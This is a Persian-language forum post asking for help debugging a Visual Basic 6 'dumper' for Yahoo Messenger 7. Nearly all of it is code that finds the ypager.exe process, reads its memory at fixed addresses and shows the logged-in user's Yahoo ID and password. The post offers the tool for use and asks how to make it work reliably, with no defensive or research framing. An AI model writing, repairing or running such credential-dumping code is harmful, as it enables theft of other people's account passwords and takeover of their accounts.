سلام امير جان اگه ممكنه يه نگاه به اين سورس بنداز ببين مشكلش كجاست بعضي وقتا درست جواب ميده بعضي وقتا جواب نميده اين يه دامپره واسه ياهو مسنجر 7 كه با استفاده از سورس خودت نوشتمش اما انگار هر بار كه ريستارت مي كني آدرس يوزر و پسورد ياهو تو حافظه تغيير ميكنه ببين مشكل اين چيه
کد:
Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hWnd As Long, lpdwProcessId As Long) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Long, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function CreateToolhelp32Snapshot Lib "kernel32" (ByVal dwFlags As Long, ByVal th32ProcessID As Long) As Long
Private Declare Function Process32First Lib "kernel32" (ByVal hSnapshot As Long, lppe As Any) As Long
Private Declare Function Process32Next Lib "kernel32" (ByVal hSnapshot As Long, lppe As Any) As Long
Private Const PROCESS_ALL_ACCESS As Long = &H1F0FFF
Private Const PROCESS_VM_READ = 16
Private Const TH32CS_SNAPHEAPLIST = &H1
Private Const TH32CS_SNAPPROCESS = &H2
Private Const TH32CS_SNAPTHREAD = &H4
Private Const TH32CS_SNAPMODULE = &H8
Private Const HKEY_CLASSES_ROOT = &H80000000
Private Const TH32CS_SNAPALL = (TH32CS_SNAPHEAPLIST + TH32CS_SNAPPROCESS + TH32CS_SNAPTHREAD + TH32CS_SNAPMODULE)
Private Type PROCESSENTRY32
dwSize As Long
cntUsage As Long
th32ProcessID As Long
th32DefaultHeapID As Long
th32ModuleID As Long
cntThreads As Long
th32ParentProcessID As Long
pcPriClassBase As Long
dwFlags As Long
szexeFile As String * 260
End Type
Private Sub Pass()
Dim P_Pid, P_Proc, adr, bfLg As Long
Dim sss As String
Dim res&, ant&
Dim u As Integer
Dim Process As PROCESSENTRY32
res = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0&)
If res <> 0 Then
Process.dwSize = Len(Process)
ant = Process32First(res, Process)
u = 0
Do
a = LCase(Process.szexeFile)
If InStr(a, "ypager.exe") Then pids = Process.th32ProcessID
ant = Process32Next(res, Process)
u = u + 1
Loop Until ant = 0
End If
P_Pid = pids
DoEvents
P_Proc = OpenProcess(PROCESS_VM_READ, False, P_Pid)
adr = 4022591
j = adr
Do Until j = 4022592
If p <> 0 Then
j = j + p
Else
j = j + 1
End If
For i = 0 To 2048
ReadProcessMemory P_Proc, j + i, bfLg, 1, 0&
p = i
If bfLg = 0 Then GoTo asd
sss = sss & Chr(bfLg)
DoEvents
Next
DoEvents
asd:
Label1.Caption = "Yahoo ID: " & sss
sss = ""
Loop
dsa:
CloseHandle P_Proc
End Sub
Private Sub Form_Load()
Dim P_Pid, P_Proc, adr, bfLg As Long
Dim sss As String
Dim res&, ant&
Dim u As Integer
Dim Process As PROCESSENTRY32
res = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0&)
If res <> 0 Then
Process.dwSize = Len(Process)
ant = Process32First(res, Process)
u = 0
Do
a = LCase(Process.szexeFile)
If InStr(a, "ypager.exe") Then pids = Process.th32ProcessID
ant = Process32Next(res, Process)
u = u + 1
Loop Until ant = 0
End If
P_Pid = pids
DoEvents
P_Proc = OpenProcess(PROCESS_VM_READ, False, P_Pid)
adr = 4016535
j = adr
Do Until j = 4016536
If p <> 0 Then
j = j + p
Else
j = j + 1
End If
For i = 0 To 2048
ReadProcessMemory P_Proc, j + i, bfLg, 1, 0&
p = i
If bfLg = 0 Then GoTo asd
sss = sss & Chr(bfLg)
DoEvents
Next
DoEvents
asd:
Label9.Caption = "Password: " & sss
sss = ""
Loop
dsa:
CloseHandle P_Proc
Pass
End Sub